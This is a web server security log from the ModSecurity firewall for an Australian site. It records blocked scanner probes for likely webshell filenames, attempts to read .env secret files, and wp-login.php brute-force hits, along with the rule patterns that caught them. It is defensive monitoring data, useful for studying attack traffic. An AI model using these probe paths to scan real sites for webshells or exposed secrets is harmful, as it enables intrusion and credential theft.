[Sun Dec 07 23:10:02.458267 2025] [:error] [pid 5223:tid 5271] [client 4.190.185.215:46001] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yasnu.php"] [unique_id "aTWYyvoRJa-T0FB0DNoB2gAAAJE"]
[Sun Dec 07 23:10:03.651700 2025] [:error] [pid 5312:tid 5327] [client 4.190.185.215:28361] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yasnu.php"] [unique_id "aTWYy-aM49rasZGg_o4Y_gAAAA0"]
[Sun Dec 07 23:10:04.624500 2025] [:error] [pid 9961:tid 9985] [client 4.190.185.215:35116] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yasnu.php"] [unique_id "aTWYzGQdnfbgcnzr89KFHAAAAVY"]
[Sun Dec 07 23:10:05.217106 2025] [:error] [pid 9961:tid 9967] [client 4.190.185.215:5429] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r79.php"] [unique_id "aTWYzWQdnfbgcnzr89KFHQAAAUQ"]
[Sun Dec 07 23:10:06.001779 2025] [:error] [pid 9610:tid 9633] [client 4.190.185.215:46304] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r79.php"] [unique_id "aTWYzsZ4Zl9G0UhQ7w1WnwAAARU"]
[Sun Dec 07 23:10:06.893407 2025] [:error] [pid 9961:tid 9978] [client 4.190.185.215:28356] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r79.php"] [unique_id "aTWYzmQdnfbgcnzr89KFHwAAAU8"]
[Sun Dec 07 23:10:07.434942 2025] [:error] [pid 5312:tid 5332] [client 4.190.185.215:46010] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r79.php"] [unique_id "aTWYz-aM49rasZGg_o4ZAAAAABI"]
[Sun Dec 07 23:10:08.900634 2025] [:error] [pid 5222:tid 5233] [client 4.190.185.215:5376] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/777.php"] [unique_id "aTWY0N8FU0HgkYWmt7tWEAAAAEc"]
[Sun Dec 07 23:10:10.596247 2025] [:error] [pid 5224:tid 5302] [client 4.190.185.215:35077] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/777.php"] [unique_id "aTWY0vAAkbWt7RJBoF8AZwAAANU"]
[Sun Dec 07 23:10:12.892609 2025] [:error] [pid 9961:tid 9966] [client 4.190.185.215:5957] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/777.php"] [unique_id "aTWY1GQdnfbgcnzr89KFJQAAAUM"]
[Sun Dec 07 23:10:13.577987 2025] [:error] [pid 5224:tid 5289] [client 4.190.185.215:35099] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/777.php"] [unique_id "aTWY1fAAkbWt7RJBoF8AcQAAAMg"]
[Sun Dec 07 23:10:14.832893 2025] [:error] [pid 9961:tid 9977] [client 4.190.185.215:24832] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/520.php"] [unique_id "aTWY1mQdnfbgcnzr89KFJgAAAU4"]
[Sun Dec 07 23:10:17.735077 2025] [:error] [pid 5312:tid 5329] [client 4.190.185.215:36518] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/520.php"] [unique_id "aTWY2eaM49rasZGg_o4ZBQAAAA8"]
[Sun Dec 07 23:10:18.781270 2025] [:error] [pid 5222:tid 5240] [client 4.190.185.215:5388] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/520.php"] [unique_id "aTWY2t8FU0HgkYWmt7tWFgAAAE4"]
[Sun Dec 07 23:10:21.132816 2025] [:error] [pid 5222:tid 5228] [client 4.190.185.215:5979] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/520.php"] [unique_id "aTWY3d8FU0HgkYWmt7tWFwAAAEI"]
[Sun Dec 07 23:39:35.254965 2025] [:error] [pid 5224:tid 5304] [client 136.144.35.234:50057] [client 136.144.35.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "aTWft_AAkbWt7RJBoF8H0gAAANc"]
[Sun Dec 07 23:39:35.916054 2025] [:error] [pid 9610:tid 9620] [client 136.144.35.219:24975] [client 136.144.35.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "aTWft8Z4Zl9G0UhQ7w1fIAAAAQg"]
[Sun Dec 07 23:59:02.299032 2025] [:error] [pid 5223:tid 5268] [client 178.62.226.48:47606] [client 178.62.226.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.226.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTWkRvoRJa-T0FB0DNoM5gAAAI4"]
[Mon Dec 08 01:11:42.098723 2025] [:error] [pid 55700:tid 55766] [client 114.96.103.33:35268] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTW1Tk8bwbrSb89n9TcQ8AAAAMk"]
[Mon Dec 08 01:17:46.274970 2025] [:error] [pid 55700:tid 55781] [client 59.125.102.226:49426] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.125.102.226, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTW2uk8bwbrSb89n9TcSpgAAANg"]
[Mon Dec 08 02:32:20.786645 2025] [:error] [pid 55699:tid 55749] [client 34.151.198.67:60850] [client 34.151.198.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.151.198.67, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTXINHp2c7AdOPMmDEN6sgAAAJM"]
[Mon Dec 08 03:53:01.432368 2025] [:error] [pid 18636:tid 18706] [client 162.243.186.75:49302] [client 162.243.186.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.243.186.75, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTXbHegdXnohVr6jm70mswAAAI4"]
[Mon Dec 08 05:59:02.965291 2025] [:error] [pid 54705:tid 54750] [client 4.189.128.201:54981] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aTX4pqdUeDkxwo12SG8muAAAAZA"]
[Mon Dec 08 05:59:03.425759 2025] [:error] [pid 54704:tid 54718] [client 4.189.128.201:28925] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aTX4p3L1WYsMMmlqjh4UggAAAUs"]
[Mon Dec 08 05:59:03.891191 2025] [:error] [pid 18726:tid 18751] [client 4.189.128.201:51320] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aTX4p1wVbxmJGL5LHAc5ygAAANc"]
[Mon Dec 08 05:59:04.352251 2025] [:error] [pid 18726:tid 18750] [client 4.189.128.201:51316] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aTX4qFwVbxmJGL5LHAc5zgAAANY"]
[Mon Dec 08 05:59:04.467341 2025] [:error] [pid 54705:tid 54753] [client 4.189.128.201:9456] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTX4qKdUeDkxwo12SG8mugAAAZM"]
[Mon Dec 08 05:59:04.695166 2025] [:error] [pid 54704:tid 54719] [client 4.189.128.201:58595] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTX4qHL1WYsMMmlqjh4UhAAAAUw"]
[Mon Dec 08 05:59:04.922545 2025] [:error] [pid 18636:tid 18712] [client 4.189.128.201:58619] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTX4qOgdXnohVr6jm71HigAAAJQ"]
[Mon Dec 08 05:59:05.157522 2025] [:error] [pid 54671:tid 54681] [client 4.189.128.201:54994] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTX4qVqOuiNLLCfVy7-MSAAAAQc"]
[Mon Dec 08 05:59:05.385958 2025] [:error] [pid 54705:tid 54746] [client 4.189.128.201:28718] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aTX4qadUeDkxwo12SG8muwAAAYw"]
[Mon Dec 08 05:59:05.614236 2025] [:error] [pid 18634:tid 18648] [client 4.189.128.201:9457] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aTX4qZ-H1wCBKPf4vhN9uwAAAAo"]
[Mon Dec 08 05:59:05.840073 2025] [:error] [pid 18634:tid 18658] [client 4.189.128.201:28880] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aTX4qZ-H1wCBKPf4vhN9vAAAABQ"]
[Mon Dec 08 05:59:06.068407 2025] [:error] [pid 18636:tid 18700] [client 4.189.128.201:54991] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aTX4qugdXnohVr6jm71HjwAAAIg"]
[Mon Dec 08 05:59:06.295851 2025] [:error] [pid 54705:tid 54752] [client 4.189.128.201:51308] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-activate.php"] [unique_id "aTX4qqdUeDkxwo12SG8mvwAAAZI"]
[Mon Dec 08 05:59:06.526852 2025] [:error] [pid 18636:tid 18713] [client 4.189.128.201:28723] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-activate.php"] [unique_id "aTX4qugdXnohVr6jm71HkAAAAJU"]
[Mon Dec 08 05:59:06.754441 2025] [:error] [pid 18635:tid 18682] [client 4.189.128.201:28867] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-activate.php"] [unique_id "aTX4qm4kCC_HamQRuE10YwAAAFE"]
[Mon Dec 08 05:59:06.981409 2025] [:error] [pid 18636:tid 18692] [client 4.189.128.201:51318] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-activate.php"] [unique_id "aTX4qugdXnohVr6jm71HlAAAAIA"]
[Mon Dec 08 05:59:07.209775 2025] [:error] [pid 18636:tid 18694] [client 4.189.128.201:58601] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aTX4q-gdXnohVr6jm71HlgAAAII"]
[Mon Dec 08 05:59:07.438994 2025] [:error] [pid 54671:tid 54696] [client 4.189.128.201:57256] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aTX4q1qOuiNLLCfVy7-MSQAAARY"]
[Mon Dec 08 05:59:07.680879 2025] [:error] [pid 18726:tid 18737] [client 4.189.128.201:28923] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aTX4q1wVbxmJGL5LHAc50AAAAMk"]
[Mon Dec 08 05:59:07.910264 2025] [:error] [pid 54705:tid 54755] [client 4.189.128.201:9424] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aTX4q6dUeDkxwo12SG8mwgAAAZU"]
[Mon Dec 08 05:59:08.141561 2025] [:error] [pid 18636:tid 18707] [client 4.189.128.201:51286] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aTX4rOgdXnohVr6jm71HlwAAAI8"]
[Mon Dec 08 05:59:08.371295 2025] [:error] [pid 54705:tid 54744] [client 4.189.128.201:58596] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aTX4rKdUeDkxwo12SG8mxAAAAYo"]
[Mon Dec 08 05:59:08.603186 2025] [:error] [pid 18635:tid 18677] [client 4.189.128.201:58440] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aTX4rG4kCC_HamQRuE10ZgAAAEw"]
[Mon Dec 08 05:59:08.838182 2025] [:error] [pid 54671:tid 54684] [client 4.189.128.201:28680] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aTX4rFqOuiNLLCfVy7-MTAAAAQo"]
[Mon Dec 08 05:59:09.067174 2025] [:error] [pid 54671:tid 54689] [client 4.189.128.201:9417] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "aTX4rVqOuiNLLCfVy7-MTgAAAQ8"]
[Mon Dec 08 05:59:09.295494 2025] [:error] [pid 54671:tid 54698] [client 4.189.128.201:9410] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "aTX4rVqOuiNLLCfVy7-MUAAAARg"]
[Mon Dec 08 05:59:09.522805 2025] [:error] [pid 54704:tid 54727] [client 4.189.128.201:57245] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "aTX4rXL1WYsMMmlqjh4UiQAAAVQ"]
[Mon Dec 08 05:59:09.753917 2025] [:error] [pid 54705:tid 54738] [client 4.189.128.201:9447] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "aTX4radUeDkxwo12SG8myQAAAYQ"]
[Mon Dec 08 05:59:09.981724 2025] [:error] [pid 18634:tid 18638] [client 4.189.128.201:57225] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aTX4rZ-H1wCBKPf4vhN9vgAAAAA"]
[Mon Dec 08 05:59:10.209327 2025] [:error] [pid 54671:tid 54682] [client 4.189.128.201:28865] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aTX4rlqOuiNLLCfVy7-MVAAAAQg"]
[Mon Dec 08 05:59:10.437608 2025] [:error] [pid 18635:tid 18679] [client 4.189.128.201:54996] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aTX4rm4kCC_HamQRuE10aQAAAE4"]
[Mon Dec 08 05:59:10.664777 2025] [:error] [pid 54671:tid 54695] [client 4.189.128.201:51273] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aTX4rlqOuiNLLCfVy7-MVgAAARU"]
[Mon Dec 08 05:59:10.904767 2025] [:error] [pid 54671:tid 54681] [client 4.189.128.201:28882] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aTX4rlqOuiNLLCfVy7-MVwAAAQc"]
[Mon Dec 08 05:59:11.133383 2025] [:error] [pid 54704:tid 54722] [client 4.189.128.201:55015] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aTX4r3L1WYsMMmlqjh4UigAAAU8"]
